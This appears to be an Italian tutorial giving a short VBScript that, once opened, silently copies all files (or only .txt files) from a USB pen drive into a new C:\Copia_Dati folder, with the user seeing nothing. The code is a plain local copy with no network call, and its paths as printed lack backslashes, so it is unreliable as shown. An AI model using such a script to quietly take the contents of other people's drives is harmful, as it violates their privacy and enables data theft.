Con questo script verrà creato in automatico una cartella dal nome Copia_Dati nella directory C: ovvero nell’hard-disk, nella quale verranno copiati tutti i files contenuti all’interno della pen-drive.
Semplificando quanto detto, non appena si apre il file vbs, tutti i files della “chiavetta usb” vengono copiati in modo silenzioso (l’utente non vede niente) nel nostro disco rigido….  passiamo alla pratica e come al solito dobbiamo aprire un editor di testo per copiare il codice riportato di seguito:

ParentFolder = “C:”
set objShell = CreateObject(“Shell.Application”)
set objFolder = objShell.NameSpace(ParentFolder)
objFolder.NewFolder “Copia_Dati”
Const OverwriteExisting = TRUE
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
objFSO.CopyFile “X:*.*” , “C:Copia_Dati” , OverwriteExisting

Se invece vogliamo copiare solo alcuni files, dobbiamo specificare l’estensione dei medesimi.
Riporto di seguito un esempio di copia dei files di testo:

ParentFolder = “C:”
set objShell = CreateObject(“Shell.Application”)
set objFolder = objShell.NameSpace(ParentFolder)
objFolder.NewFolder “Copia_Dati”
Const OverwriteExisting = TRUE
Set objFSO = CreateObject(“Scripting.FileSystemObject”)
objFSO.CopyFile “X:*.txt” , “C:Copia_Dati” , OverwriteExisting

Quindi dall’esempio, possiamo modificare questa utility come vogliamo….

N.B.: La letera X va cambiata in base all’unità della pen-drive, quindi deve essere sostituita e per non sbagliare la andiamo a leggere in risorse del computer.